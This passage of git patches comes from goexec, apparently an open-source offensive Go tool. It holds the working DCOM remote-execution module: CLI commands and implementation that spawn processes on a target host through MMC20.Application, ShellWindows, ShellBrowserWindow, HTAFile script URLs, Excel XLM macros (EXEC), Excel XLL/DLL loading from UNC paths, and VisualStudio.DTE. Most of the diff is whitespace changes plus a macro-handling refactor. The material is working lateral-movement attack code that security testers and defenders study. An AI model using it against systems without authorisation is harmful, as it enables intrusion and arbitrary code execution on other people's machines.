registerExecutionFlags(dcomShellWindowsExecFlags.Flags) - registerExecutionOutputFlags(dcomShellWindowsExecFlags.Flags) - dcomShellWindowsExecFlags.Flags.StringVar(&dcomShellWindows.WorkingDirectory, "directory", `C:\`, "Working directory `path`") - dcomShellWindowsExecFlags.Flags.StringVar(&dcomShellWindows.WindowState, "app-window", "0", "Application window state `ID`") - - cmdFlags[dcomShellWindowsCmd] = []*flagSet{ - dcomShellWindowsExecFlags, - defaultAuthFlags, - defaultLogFlags, - defaultNetRpcFlags, - } - dcomShellWindowsCmd.Flags().AddFlagSet(dcomShellWindowsExecFlags.Flags) - - // Constraints - dcomShellWindowsCmd.MarkFlagsOneRequired("command", "exec") + dcomShellWindowsExecFlags := newFlagSet("Execution") + registerExecutionFlags(dcomShellWindowsExecFlags.Flags) + registerExecutionOutputFlags(dcomShellWindowsExecFlags.Flags) + dcomShellWindowsExecFlags.Flags.StringVar(&dcomShellWindows.WorkingDirectory, "directory", `C:\`, "Working directory `path`") + dcomShellWindowsExecFlags.Flags.StringVar(&dcomShellWindows.WindowState, "app-window", "0", "Application window state `ID`") + + cmdFlags[dcomShellWindowsCmd] = []*flagSet{ + dcomShellWindowsExecFlags, + defaultAuthFlags, + defaultLogFlags, + defaultNetRpcFlags, + } + dcomShellWindowsCmd.Flags().AddFlagSet(dcomShellWindowsExecFlags.Flags) + + // Constraints + dcomShellWindowsCmd.MarkFlagsOneRequired("command", "exec") } func dcomShellBrowserWindowCmdInit() { - dcomShellBrowserWindowExecFlags := newFlagSet("Execution") - registerExecutionFlags(dcomShellBrowserWindowExecFlags.Flags) - registerExecutionOutputFlags(dcomShellBrowserWindowExecFlags.Flags) - dcomShellBrowserWindowExecFlags.Flags.StringVar(&dcomShellBrowserWindow.WorkingDirectory, "directory", `C:\`, "Working directory `path`") - dcomShellBrowserWindowExecFlags.Flags.StringVar(&dcomShellBrowserWindow.WindowState, "app-window", "0", "Application window state `ID`") - - cmdFlags[dcomShellBrowserWindowCmd] = []*flagSet{ - dcomShellBrowserWindowExecFlags, - defaultAuthFlags, - defaultLogFlags, - defaultNetRpcFlags, - } - dcomShellBrowserWindowCmd.Flags().AddFlagSet(dcomShellBrowserWindowExecFlags.Flags) - - // Constraints - dcomShellBrowserWindowCmd.MarkFlagsOneRequired("command", "exec") + dcomShellBrowserWindowExecFlags := newFlagSet("Execution") + registerExecutionFlags(dcomShellBrowserWindowExecFlags.Flags) + registerExecutionOutputFlags(dcomShellBrowserWindowExecFlags.Flags) + dcomShellBrowserWindowExecFlags.Flags.StringVar(&dcomShellBrowserWindow.WorkingDirectory, "directory", `C:\`, "Working directory `path`") + dcomShellBrowserWindowExecFlags.Flags.StringVar(&dcomShellBrowserWindow.WindowState, "app-window", "0", "Application window state `ID`") + + cmdFlags[dcomShellBrowserWindowCmd] = []*flagSet{ + dcomShellBrowserWindowExecFlags, + defaultAuthFlags, + defaultLogFlags, + defaultNetRpcFlags, + } + dcomShellBrowserWindowCmd.Flags().AddFlagSet(dcomShellBrowserWindowExecFlags.Flags) + + // Constraints + dcomShellBrowserWindowCmd.MarkFlagsOneRequired("command", "exec") } func dcomHtafileCmdInit() { - dcomHtafileExecFlags := newFlagSet("Execution") - dcomHtafileExecFlags.Flags.StringVarP(&dcomHtafile.Url, "url", "U", "", "Load custom `URL`") - dcomHtafileExecFlags.Flags.StringVar(&dcomHtafile.Javascript, "js", "", "Execute JavaScript one-liner") - dcomHtafileExecFlags.Flags.StringVar(&dcomHtafile.Vbscript, "vbs", "", "Execute VBScript one-liner") - registerExecutionFlags(dcomHtafileExecFlags.Flags) - registerExecutionOutputFlags(dcomHtafileExecFlags.Flags) - - cmdFlags[dcomHtafileCmd] = []*flagSet{ - dcomHtafileExecFlags, - defaultAuthFlags, - defaultLogFlags, - defaultNetRpcFlags, - } - dcomHtafileCmd.Flags().AddFlagSet(dcomHtafileExecFlags.Flags) - - // Constraints - dcomHtafileCmd.MarkFlagsOneRequired("command", "exec", "url", "js", "vbs") + dcomHtafileExecFlags := newFlagSet("Execution") + dcomHtafileExecFlags.Flags.StringVarP(&dcomHtafile.Url, "url", "U", "", "Load custom `URL`") + dcomHtafileExecFlags.Flags.StringVar(&dcomHtafile.Javascript, "js", "", "Execute JavaScript one-liner") + dcomHtafileExecFlags.Flags.StringVar(&dcomHtafile.Vbscript, "vbs", "", "Execute VBScript one-liner") + registerExecutionFlags(dcomHtafileExecFlags.Flags) + registerExecutionOutputFlags(dcomHtafileExecFlags.Flags) + + cmdFlags[dcomHtafileCmd] = []*flagSet{ + dcomHtafileExecFlags, + defaultAuthFlags, + defaultLogFlags, + defaultNetRpcFlags, + } + dcomHtafileCmd.Flags().AddFlagSet(dcomHtafileExecFlags.Flags) + + // Constraints + dcomHtafileCmd.MarkFlagsOneRequired("command", "exec", "url", "js", "vbs") } func dcomExcelMacroCmdInit() { - dcomExcelMacroExecFlags := newFlagSet("Execution") - dcomExcelMacroExecFlags.Flags.StringVarP(&dcomExcelMacro.Macro, "macro", "M", "", "XLM macro") - dcomExcelMacroExecFlags.Flags.StringVar(&dcomExcelMacro.MacroFile, "macro-file", "", "XLM macro `file`") - registerExecutionFlags(dcomExcelMacroExecFlags.Flags) - registerExecutionOutputFlags(dcomExcelMacroExecFlags.Flags) - - cmdFlags[dcomExcelMacroCmd] = []*flagSet{ - dcomExcelMacroExecFlags, - defaultAuthFlags, - defaultLogFlags, - defaultNetRpcFlags, - } - dcomExcelMacroCmd.Flags().AddFlagSet(dcomExcelMacroExecFlags.Flags) - - // Constraints - dcomExcelMacroCmd.MarkFlagsOneRequired("command", "exec", "macro", "macro-file") - dcomExcelMacroCmd.MarkFlagsMutuallyExclusive("macro", "macro-file", "out") + dcomExcelMacroExecFlags := newFlagSet("Execution") + dcomExcelMacroExecFlags.Flags.StringVarP(&dcomExcelMacro.Macro, "macro", "M", "", "XLM macro") + dcomExcelMacroExecFlags.Flags.StringVar(&dcomExcelMacro.MacroFile, "macro-file", "", "XLM macro `file`") + registerExecutionFlags(dcomExcelMacroExecFlags.Flags) + registerExecutionOutputFlags(dcomExcelMacroExecFlags.Flags) + + cmdFlags[dcomExcelMacroCmd] = []*flagSet{ + dcomExcelMacroExecFlags, + defaultAuthFlags, + defaultLogFlags, + defaultNetRpcFlags, + } + dcomExcelMacroCmd.Flags().AddFlagSet(dcomExcelMacroExecFlags.Flags) + + // Constraints + dcomExcelMacroCmd.MarkFlagsOneRequired("command", "exec", "macro", "macro-file") + dcomExcelMacroCmd.MarkFlagsMutuallyExclusive("macro", "macro-file", "out") } func dcomVsDteCmdInit() { - dcomVsDteExecFlags := newFlagSet("Execution") - dcomVsDteExecFlags.Flags.StringVar(&dcomVisualStudioDte.CommandName, "vs-command", "", "Visual Studio DTE command to execute") - dcomVsDteExecFlags.Flags.StringVar(&dcomVisualStudioDte.CommandArgs, "vs-args", "", "Visual Studio DTE command arguments") - registerExecutionFlags(dcomVsDteExecFlags.Flags) - registerExecutionOutputFlags(dcomVsDteExecFlags.Flags) - - cmdFlags[dcomVsDteCmd] = []*flagSet{ - dcomVsDteExecFlags, - defaultAuthFlags, - defaultLogFlags, - defaultNetRpcFlags, - } - dcomVsDteCmd.Flags().AddFlagSet(dcomVsDteExecFlags.Flags) - - // Constraints - dcomVsDteCmd.MarkFlagsOneRequired("command", "exec", "vs-command") - dcomVsDteCmd.MarkFlagsMutuallyExclusive("command", "exec", "vs-command") - dcomVsDteCmd.MarkFlagsMutuallyExclusive("vs-command", "out") + dcomVsDteExecFlags := newFlagSet("Execution") + dcomVsDteExecFlags.Flags.StringVar(&dcomVisualStudioDte.CommandName, "vs-command", "", "Visual Studio DTE command to execute") + dcomVsDteExecFlags.Flags.StringVar(&dcomVisualStudioDte.CommandArgs, "vs-args", "", "Visual Studio DTE command arguments") + registerExecutionFlags(dcomVsDteExecFlags.Flags) + registerExecutionOutputFlags(dcomVsDteExecFlags.Flags) + + cmdFlags[dcomVsDteCmd] = []*flagSet{ + dcomVsDteExecFlags, + defaultAuthFlags, + defaultLogFlags, + defaultNetRpcFlags, + } + dcomVsDteCmd.Flags().AddFlagSet(dcomVsDteExecFlags.Flags) + + // Constraints + dcomVsDteCmd.MarkFlagsOneRequired("command", "exec", "vs-command") + dcomVsDteCmd.MarkFlagsMutuallyExclusive("command", "exec", "vs-command") + dcomVsDteCmd.MarkFlagsMutuallyExclusive("vs-command", "out") } func dcomExcelXllCmdInit() { - dcomExcelXllExecFlags := newFlagSet("Execution") - dcomExcelXllExecFlags.Flags.StringVar(&dcomExcelXll.XllLocation, "xll", "", "XLL/DLL local or UNC `path`") - - cmdFlags[dcomExcelXllCmd] = []*flagSet{ - dcomExcelXllExecFlags, - defaultAuthFlags, - defaultLogFlags, - defaultNetRpcFlags, - } - dcomExcelXllCmd.Flags().AddFlagSet(dcomExcelXllExecFlags.Flags) - - // Constraints - if err := dcomExcelXllCmd.MarkFlagRequired("xll"); err != nil { - panic(err) - } + dcomExcelXllExecFlags := newFlagSet("Execution") + dcomExcelXllExecFlags.Flags.StringVar(&dcomExcelXll.XllLocation, "xll", "", "XLL/DLL local or UNC `path`") + + cmdFlags[dcomExcelXllCmd] = []*flagSet{ + dcomExcelXllExecFlags, + defaultAuthFlags, + defaultLogFlags, + defaultNetRpcFlags, + } + dcomExcelXllCmd.Flags().AddFlagSet(dcomExcelXllExecFlags.Flags) + + // Constraints + if err := dcomExcelXllCmd.MarkFlagRequired("xll"); err != nil { + panic(err) + } } var ( - dcomMmc = dcomexec.DcomMmc{} - dcomShellWindows = dcomexec.DcomShellWindows{} - dcomShellBrowserWindow = dcomexec.DcomShellBrowserWindow{} - dcomHtafile = dcomexec.DcomHtafile{} - dcomExcelMacro = dcomexec.DcomExcelMacro{} - dcomExcelXll = dcomexec.DcomExcelXll{} - dcomVisualStudioDte = dcomexec.DcomVisualStudioDte{} - - dcomCmd = &cobra.Command{ - Use: "dcom", - Short: "Execute with Distributed Component Object Model (MS-DCOM)", - Long: `Description: + dcomMmc = dcomexec.DcomMmc{} + dcomShellWindows = dcomexec.DcomShellWindows{} + dcomShellBrowserWindow = dcomexec.DcomShellBrowserWindow{} + dcomHtafile = dcomexec.DcomHtafile{} + dcomExcelMacro = dcomexec.DcomExcelMacro{} + dcomExcelXll = dcomexec.DcomExcelXll{} + dcomVisualStudioDte = dcomexec.DcomVisualStudioDte{} + + dcomCmd = &cobra.Command{ + Use: "dcom", + Short: "Execute with Distributed Component Object Model (MS-DCOM)", + Long: `Description: The dcom module uses exposed Distributed Component Object Model (DCOM) objects to spawn processes.`, - GroupID: "module", - Args: cobra.ArbitraryArgs, - } - - dcomMmcCmd = &cobra.Command{ - Use: "mmc [target]", - Short: "Execute with the MMC20.Application DCOM object", - Long: `Description: + GroupID: "module", + Args: cobra.ArbitraryArgs, + } + + dcomMmcCmd = &cobra.Command{ + Use: "mmc [target]", + Short: "Execute with the MMC20.Application DCOM object", + Long: `Description: The mmc method uses the exposed MMC20.Application object to call Document.ActiveView.ShellExec, and ultimately spawn a process on the remote host.`, - Args: args(argsRpcClient("cifs", ""), - argsOutput("smb"), - argsAcceptValues("window", &dcomMmc.WindowState, "Minimized", "Maximized", "Restored"), - ), - Run: func(cmd *cobra.Command, args []string) { - dcomMmc.Client = &rpcClient - ctx := log.With().Str("module", dcomexec.ModuleName).Str("method", dcomexec.MethodMmc). - Logger().WithContext(gssapi.NewSecurityContext(context.Background())) - - if err := goexec.ExecuteCleanMethod(ctx, &dcomMmc, &exec); err != nil { - log.Fatal().Err(err).Msg("Operation failed") - } - }, - } - - dcomShellWindowsCmd = &cobra.Command{ - Use: "shellwindows [target]", - Short: "Execute with the ShellWindows DCOM object", - Long: `Description: + Args: args(argsRpcClient("cifs", ""), + argsOutput("smb"), + argsAcceptValues("window", &dcomMmc.WindowState, "Minimized", "Maximized", "Restored"), + ), + Run: func(cmd *cobra.Command, args []string) { + dcomMmc.Client = &rpcClient + ctx := log.With().Str("module", dcomexec.ModuleName).Str("method", dcomexec.MethodMmc). + Logger().WithContext(gssapi.NewSecurityContext(context.Background())) + + if err := goexec.ExecuteCleanMethod(ctx, &dcomMmc, &exec); err != nil { + log.Fatal().Err(err).Msg("Operation failed") + } + }, + } + + dcomShellWindowsCmd = &cobra.Command{ + Use: "shellwindows [target]", + Short: "Execute with the ShellWindows DCOM object", + Long: `Description: The shellwindows method uses the exposed ShellWindows DCOM object on older Windows installations to call Item().Document.Application.ShellExecute, and spawn the provided process.`, - Args: args(argsRpcClient("host", ""), - argsOutput("smb"), - argsAcceptValues("app-window", &dcomShellWindows.WindowState, "0", "1", "2", "3", "4", "5", "7", "10"), - ), - Run: func(cmd *cobra.Command, args []string) { - dcomShellWindows.Client = &rpcClient - ctx := log.With().Str("module", dcomexec.ModuleName).Str("method", dcomexec.MethodShellWindows). - Logger().WithContext(gssapi.NewSecurityContext(context.Background())) - - if err := goexec.ExecuteCleanMethod(ctx, &dcomShellWindows, &exec); err != nil { - log.Fatal().Err(err).Msg("Operation failed") - } - }, - } - - dcomShellBrowserWindowCmd = &cobra.Command{ - Use: "shellbrowserwindow [target]", - Short: "Execute with the ShellBrowserWindow DCOM object", - Long: `Description: + Args: args(argsRpcClient("host", ""), + argsOutput("smb"), + argsAcceptValues("app-window", &dcomShellWindows.WindowState, "0", "1", "2", "3", "4", "5", "7", "10"), + ), + Run: func(cmd *cobra.Command, args []string) { + dcomShellWindows.Client = &rpcClient + ctx := log.With().Str("module", dcomexec.ModuleName).Str("method", dcomexec.MethodShellWindows). + Logger().WithContext(gssapi.NewSecurityContext(context.Background())) + + if err := goexec.ExecuteCleanMethod(ctx, &dcomShellWindows, &exec); err != nil { + log.Fatal().Err(err).Msg("Operation failed") + } + }, + } + + dcomShellBrowserWindowCmd = &cobra.Command{ + Use: "shellbrowserwindow [target]", + Short: "Execute with the ShellBrowserWindow DCOM object", + Long: `Description: The shellbrowserwindow method uses the exposed ShellBrowserWindow DCOM object on older Windows installations to call Document.Application.ShellExecute, and spawn the provided process.`, - Args: args(argsRpcClient("host", ""), - argsOutput("smb"), - argsAcceptValues("app-window", &dcomShellBrowserWindow.WindowState, "0", "1", "2", "3", "4", "5", "7", "10"), - ), - Run: func(cmd *cobra.Command, args []string) { - dcomShellBrowserWindow.Client = &rpcClient - ctx := log.With().Str("module", dcomexec.ModuleName).Str("method", dcomexec.MethodShellBrowserWindow). - Logger().WithContext(gssapi.NewSecurityContext(context.Background())) - - if err := goexec.ExecuteCleanMethod(ctx, &dcomShellBrowserWindow, &exec); err != nil { - log.Fatal().Err(err).Msg("Operation failed") - } - }, - } - - dcomHtafileCmd = &cobra.Command{ - Use: "htafile [target]", - Short: "Execute with the HTAFile DCOM object", - Long: `Description: + Args: args(argsRpcClient("host", ""), + argsOutput("smb"), + argsAcceptValues("app-window", &dcomShellBrowserWindow.WindowState, "0", "1", "2", "3", "4", "5", "7", "10"), + ), + Run: func(cmd *cobra.Command, args []string) { + dcomShellBrowserWindow.Client = &rpcClient + ctx := log.With().Str("module", dcomexec.ModuleName).Str("method", dcomexec.MethodShellBrowserWindow). + Logger().WithContext(gssapi.NewSecurityContext(context.Background())) + + if err := goexec.ExecuteCleanMethod(ctx, &dcomShellBrowserWindow, &exec); err != nil { + log.Fatal().Err(err).Msg("Operation failed") + } + }, + } + + dcomHtafileCmd = &cobra.Command{ + Use: "htafile [target]", + Short: "Execute with the HTAFile DCOM object", + Long: `Description: The htafile method uses the exposed "HTML Application" DCOM object to load a remote HTA application or execute inline. This is made possible by the Load method of the IPersistMoniker interface.`, - Args: args(argsRpcClient("host", ""), argsOutput("smb")), - RunE: func(cmd *cobra.Command, args []string) error { - dcomHtafile.Client = &rpcClient - dcomHtafile.Url = dcomexec.HtafileGetUrl(dcomHtafile.Url, dcomHtafile.Javascript, dcomHtafile.Vbscript, &exec) - - if url := strings.ToLower(dcomHtafile.Url); (strings.HasPrefix(url, "javascript:") || strings.HasPrefix(url, "vbscript:")) && len(url) > 508 { - return fmt.Errorf("script URL exceeds maximum length supported by mshta.exe (%d > 508)", len(url)) - } - ctx := log.With().Str("module", dcomexec.ModuleName).Str("method", dcomexec.MethodHtafile). - Logger().WithContext(gssapi.NewSecurityContext(context.Background())) - - if err := goexec.ExecuteCleanMethod(ctx, &dcomHtafile, &exec); err != nil { - log.Fatal().Err(err).Msg("Operation failed") - } - return nil - }, - } - - dcomExcelMacroCmd = &cobra.Command{ - Use: "excel-xlm [target]", - Short: "Execute with the Excel.Application DCOM object by executing an Excel macro", - Long: `Description: + Args: args(argsRpcClient("host", ""), argsOutput("smb")), + RunE: func(cmd *cobra.Command, args []string) error { + dcomHtafile.Client = &rpcClient + dcomHtafile.Url = dcomexec.HtafileGetUrl(dcomHtafile.Url, dcomHtafile.Javascript, dcomHtafile.Vbscript, &exec) + + if url := strings.ToLower(dcomHtafile.Url); (strings.HasPrefix(url, "javascript:") || strings.HasPrefix(url, "vbscript:")) && len(url) > 508 { + return fmt.Errorf("script URL exceeds maximum length supported by mshta.exe (%d > 508)", len(url)) + } + ctx := log.With().Str("module", dcomexec.ModuleName).Str("method", dcomexec.MethodHtafile). + Logger().WithContext(gssapi.NewSecurityContext(context.Background())) + + if err := goexec.ExecuteCleanMethod(ctx, &dcomHtafile, &exec); err != nil { + log.Fatal().Err(err).Msg("Operation failed") + } + return nil + }, + } + + dcomExcelMacroCmd = &cobra.Command{ + Use: "excel-xlm [target]", + Short: "Execute with the Excel.Application DCOM object by executing an Excel macro", + Long: `Description: The excel-xlm method uses the exposed Excel.Application DCOM object to call ExecuteExcel4Macro, thus executing XLM macros at will. This method requires that the remote host has Microsoft Excel installed.`, - Args: args(argsRpcClient("host", ""), argsOutput("smb"), - func(*cobra.Command, []string) error { - if dcomExcelMacro.MacroFile != "" { - f, err := os.Open(dcomExcelMacro.MacroFile) - if err != nil { - return fmt.Errorf("open macro file: %w", err) - } - defer func() { _ = f.Close() }() - b, err := io.ReadAll(f) - if err != nil { - return fmt.Errorf("read macro file: %w", err) - } - dcomExcelMacro.Macro = string(b) - } - return nil - }, - ), - Run: func(*cobra.Command, []string) { - dcomExcelMacro.Client = &rpcClient - ctx := log.With().Str("module", dcomexec.ModuleName).Str("method", dcomexec.MethodExcelMacro). - Logger().WithContext(gssapi.NewSecurityContext(context.Background())) - - if err := goexec.ExecuteCleanMethod(ctx, &dcomExcelMacro, &exec); err != nil { - log.Fatal().Err(err).Msg("Operation failed") - } - }, - } - - dcomExcelXllCmd = &cobra.Command{ - Use: "excel-xll [target]", - Short: "Execute with the Excel.Application DCOM object by registering an XLL add-in", - Long: `Description: + Args: args(argsRpcClient("host", ""), argsOutput("smb"), + func(*cobra.Command, []string) error { + if dcomExcelMacro.MacroFile != "" { + f, err := os.Open(dcomExcelMacro.MacroFile) + if err != nil { + return fmt.Errorf("open macro file: %w", err) + } + defer func() { _ = f.Close() }() + b, err := io.ReadAll(f) + if err != nil { + return fmt.Errorf("read macro file: %w", err) + } + dcomExcelMacro.Macro = string(b) + } + return nil + }, + ), + Run: func(*cobra.Command, []string) { + dcomExcelMacro.Client = &rpcClient + ctx := log.With().Str("module", dcomexec.ModuleName).Str("method", dcomexec.MethodExcelMacro). + Logger().WithContext(gssapi.NewSecurityContext(context.Background())) + + if err := goexec.ExecuteCleanMethod(ctx, &dcomExcelMacro, &exec); err != nil { + log.Fatal().Err(err).Msg("Operation failed") + } + }, + } + + dcomExcelXllCmd = &cobra.Command{ + Use: "excel-xll [target]", + Short: "Execute with the Excel.Application DCOM object by registering an XLL add-in", + Long: `Description: The excel-xll method uses the exposed Excel.Application DCOM object to call RegisterXLL, thus loading a XLL/DLL. The XLL location (--xll) can be a path on the remote filesystem or an UNC path. This method requires that the remote host has Microsoft Excel installed.`, - Args: args(argsRpcClient("host", "")), - Run: func(*cobra.Command, []string) { - dcomExcelXll.Client = &rpcClient - ctx := log.With().Str("module", dcomexec.ModuleName).Str("method", dcomexec.MethodExcelXLL). - Logger().WithContext(gssapi.NewSecurityContext(context.Background())) - - if err := goexec.ExecuteCleanAuxiliaryMethod(ctx, &dcomExcelXll); err != nil { - log.Fatal().Err(err).Msg("Operation failed") - } - }, - } - - dcomVsDteCmd = &cobra.Command{ - Use: "vs-dte [target]", - Short: "Execute with the VisualStudio.DTE object", - Long: `Description: + Args: args(argsRpcClient("host", "")), + Run: func(*cobra.Command, []string) { + dcomExcelXll.Client = &rpcClient + ctx := log.With().Str("module", dcomexec.ModuleName).Str("method", dcomexec.MethodExcelXLL). + Logger().WithContext(gssapi.NewSecurityContext(context.Background())) + + if err := goexec.ExecuteCleanAuxiliaryMethod(ctx, &dcomExcelXll); err != nil { + log.Fatal().Err(err).Msg("Operation failed") + } + }, + } + + dcomVsDteCmd = &cobra.Command{ + Use: "vs-dte [target]", + Short: "Execute with the VisualStudio.DTE object", + Long: `Description: The vs-dte method uses the exposed VisualStudio.DTE object to spawn a process via the ExecuteCommand method. This method requires that the remote host has Microsoft Visual Studio installed.`, - Args: args(argsRpcClient("host", ""), argsOutput("smb")), - Run: func(*cobra.Command, []string) { - dcomVisualStudioDte.Client = &rpcClient - ctx := log.With().Str("module", dcomexec.ModuleName).Str("method", dcomexec.MethodVisualStudioDTE). - Logger().WithContext(gssapi.NewSecurityContext(context.Background())) - - if err := goexec.ExecuteCleanMethod(ctx, &dcomVisualStudioDte, &exec); err != nil { - log.Fatal().Err(err).Msg("Operation failed") - } - }, - } + Args: args(argsRpcClient("host", ""), argsOutput("smb")), + Run: func(*cobra.Command, []string) { + dcomVisualStudioDte.Client = &rpcClient + ctx := log.With().Str("module", dcomexec.ModuleName).Str("method", dcomexec.MethodVisualStudioDTE). + Logger().WithContext(gssapi.NewSecurityContext(context.Background())) + + if err := goexec.ExecuteCleanMethod(ctx, &dcomVisualStudioDte, &exec); err != nil { + log.Fatal().Err(err).Msg("Operation failed") + } + }, + } ) From 7fb0828308123812ea32c77de14dc5bc4f7b4ed9 Mon Sep 17 00:00:00 2001 From: Bryan McNulty Date: Wed, 1 Oct 2025 05:02:08 -0500 Subject: [PATCH 21/34] macro->[]macros; `excel-xlm`->`excel-macro` --- cmd/dcom.go | 9 +- pkg/goexec/dcom/excel.go | 172 ++++++++++++++++++++------------------- 2 files changed, 92 insertions(+), 89 deletions(-) diff --git a/cmd/dcom.go b/cmd/dcom.go index 6775971..8bfb6fc 100644 --- a/cmd/dcom.go +++ b/cmd/dcom.go @@ -120,7 +120,7 @@ func dcomHtafileCmdInit() { func dcomExcelMacroCmdInit() { dcomExcelMacroExecFlags := newFlagSet("Execution") - dcomExcelMacroExecFlags.Flags.StringVarP(&dcomExcelMacro.Macro, "macro", "M", "", "XLM macro") + dcomExcelMacroExecFlags.Flags.StringArrayVarP(&dcomExcelMacro.Macros, "macro", "M", nil, "XLM macro `code`") dcomExcelMacroExecFlags.Flags.StringVar(&dcomExcelMacro.MacroFile, "macro-file", "", "XLM macro `file`") registerExecutionFlags(dcomExcelMacroExecFlags.Flags) registerExecutionOutputFlags(dcomExcelMacroExecFlags.Flags) @@ -135,6 +135,7 @@ func dcomExcelMacroCmdInit() { // Constraints dcomExcelMacroCmd.MarkFlagsOneRequired("command", "exec", "macro", "macro-file") + dcomExcelMacroCmd.MarkFlagsMutuallyExclusive("command", "exec", "macro", "macro-file") dcomExcelMacroCmd.MarkFlagsMutuallyExclusive("macro", "macro-file", "out") } @@ -283,10 +284,10 @@ var ( } dcomExcelMacroCmd = &cobra.Command{ - Use: "excel-xlm [target]", + Use: "excel-macro [target]", Short: "Execute with the Excel.Application DCOM object by executing an Excel macro", Long: `Description: - The excel-xlm method uses the exposed Excel.Application DCOM object to call ExecuteExcel4Macro, thus executing + The excel-macro method uses the exposed Excel.Application DCOM object to call ExecuteExcel4Macro, thus executing XLM macros at will. This method requires that the remote host has Microsoft Excel installed.`, Args: args(argsRpcClient("host", ""), argsOutput("smb"), func(*cobra.Command, []string) error { @@ -300,7 +301,7 @@ var ( if err != nil { return fmt.Errorf("read macro file: %w", err) } - dcomExcelMacro.Macro = string(b) + dcomExcelMacro.Macros = strings.Split(string(b), "\n") } return nil }, diff --git a/pkg/goexec/dcom/excel.go b/pkg/goexec/dcom/excel.go index 82c74ea..87be173 100644 --- a/pkg/goexec/dcom/excel.go +++ b/pkg/goexec/dcom/excel.go @@ -1,118 +1,120 @@ package dcomexec import ( - "context" - "errors" - "fmt" - "strings" - "syscall" + "context" + "errors" + "fmt" + "strings" + "syscall" - "github.com/FalconOpsLLC/goexec/internal/util" - "github.com/FalconOpsLLC/goexec/pkg/goexec" - "github.com/oiweiwei/go-msrpc/midl/uuid" - "github.com/oiweiwei/go-msrpc/msrpc/erref/hresult" - "github.com/rs/zerolog" + "github.com/FalconOpsLLC/goexec/internal/util" + "github.com/FalconOpsLLC/goexec/pkg/goexec" + "github.com/oiweiwei/go-msrpc/midl/uuid" + "github.com/oiweiwei/go-msrpc/msrpc/erref/hresult" + "github.com/rs/zerolog" ) const ( - MethodExcelMacro = "Excel:ExecuteExcel4Macro" - MethodExcelXLL = "Excel:RegisterXLL" - ExcelApplicationUuid = "00020812-0000-0000-C000-000000000046" + MethodExcelMacro = "Excel:ExecuteExcel4Macro" + MethodExcelXLL = "Excel:RegisterXLL" + ExcelApplicationUuid = "00020812-0000-0000-C000-000000000046" ) type DcomExcel struct { - Dispatch + Dispatch } type DcomExcelMacro struct { - DcomExcel - Macro string - MacroFile string - NoTerminate bool + DcomExcel + Macros []string + MacroFile string + NoTerminate bool } type DcomExcelXll struct { - DcomExcel - XllLocation string - NoTerminate bool + DcomExcel + XllLocation string + NoTerminate bool } // Init will initialize the ShellBrowserWindow instance func (m *DcomExcel) Init(ctx context.Context) (err error) { - if err = m.Dcom.Init(ctx); err == nil { - return m.getDispatch(ctx, uuid.MustParse(ExcelApplicationUuid)) - } - return + if err = m.Dcom.Init(ctx); err == nil { + return m.getDispatch(ctx, uuid.MustParse(ExcelApplicationUuid)) + } + return } // quit will terminate EXCEL.EXE via ExecuteExcel4Macro("QUIT()") func (m *DcomExcel) quit(ctx context.Context) (err error) { - log := zerolog.Ctx(ctx) - quit := "QUIT()" - log.Info(). - Str("call", "ExecuteExcel4Macro"). - Str("macro", quit). - Msg("terminating Excel process") - qr, err := m.callComMethod(ctx, nil, "ExecuteExcel4Macro", stringToVariant(quit)) - _ = qr - if err != nil { - if errors.Is(err, syscall.ECONNRESET) { - log.Info().Msg("Excel process terminated") - return nil - } - log.Warn().Err(err).Msgf(`Call ExecuteExcel4Macro("%s") failed`, quit) - } - if qr.Return != 0 { - err = hresult.FromCode(uint32(qr.Return)) - log.Warn().Err(err).Msgf(`Call ExecuteExcel4Macro("%s"): %d`, quit, qr.Return) - } + log := zerolog.Ctx(ctx) + quit := "QUIT()" + log.Info(). + Str("call", "ExecuteExcel4Macro"). + Str("macro", quit). + Msg("terminating Excel process") + qr, err := m.callComMethod(ctx, nil, "ExecuteExcel4Macro", stringToVariant(quit)) + _ = qr + if err != nil { + if errors.Is(err, syscall.ECONNRESET) { + log.Info().Msg("Excel process terminated") + return nil + } + log.Warn().Err(err).Msgf(`Call ExecuteExcel4Macro("%s") failed`, quit) + } + if qr.Return != 0 { + err = hresult.FromCode(uint32(qr.Return)) + log.Warn().Err(err).Msgf(`Call ExecuteExcel4Macro("%s"): %d`, quit, qr.Return) + } - return err + return err } func (m *DcomExcelMacro) Execute(ctx context.Context, execIO *goexec.ExecutionIO) (err error) { - log := zerolog.Ctx(ctx) - if m.Macro == "" { - m.Macro = fmt.Sprintf(`EXEC("%s")`, strings.ReplaceAll(execIO.String(), `"`, `""`)) - } - if !m.NoTerminate { // Terminate EXCEL.EXE via ExecuteExcel4Macro("QUIT()") - defer func() { - _ = m.quit(ctx) - }() - } - // Call ExecuteExcel4Macro to execute macro - log.Info(). - Str("call", "ExecuteExcel4Macro"). - Str("macro", util.Truncate(m.Macro, 100)). - Msg("executing Excel macro") - ir, err := m.callComMethod(ctx, nil, "ExecuteExcel4Macro", stringToVariant(m.Macro)) - if err != nil { - return err - } - if ir.Return != 0 { - return hresult.FromCode(uint32(ir.Return)) - } - log.Info().Msg("ExecuteExcel4Macro call successful") + log := zerolog.Ctx(ctx) + if m.Macros == nil || len(m.Macros) == 0 { + m.Macros = []string{fmt.Sprintf(`EXEC("%s")`, strings.ReplaceAll(execIO.String(), `"`, `""`))} + } + if !m.NoTerminate { // Terminate EXCEL.EXE via ExecuteExcel4Macro("QUIT()") + defer func() { + _ = m.quit(ctx) + }() + } + for _, macro := range m.Macros { + // Call ExecuteExcel4Macro to execute macro + log.Info(). + Str("call", "ExecuteExcel4Macro"). + Str("macro", util.Truncate(macro, 100)). + Msg("executing Excel macro") + ir, err := m.callComMethod(ctx, nil, "ExecuteExcel4Macro", stringToVariant(macro)) + if err != nil { + return err + } + if ir.Return != 0 { + return hresult.FromCode(uint32(ir.Return)) + } + log.Info().Msg("ExecuteExcel4Macro call successful") + } - return + return } func (m *DcomExcelXll) Call(ctx context.Context) (err error) { - log := zerolog.Ctx(ctx) - if !m.NoTerminate { - defer func() { - _ = m.quit(ctx) - }() - } - qr, err := m.callComMethod(ctx, nil, "Application.RegisterXLL", stringToVariant(m.XllLocation)) - if err != nil { - return fmt.Errorf("call RegisterXLL: %w", err) - } - log.Info().Msg("RegisterXLL call successful") - if stat, ok := qr.VarResult.VarUnion.GetValue().(bool); ok && stat { - log.Info().Bool("res", stat).Int32("return", qr.Return).Msg("XLL registered successfully") - } else { - log.Warn().Bool("res", stat).Int32("return", qr.Return).Msg("Execution may have failed") - } - return + log := zerolog.Ctx(ctx) + if !m.NoTerminate { + defer func() { + _ = m.quit(ctx) + }() + } + qr, err := m.callComMethod(ctx, 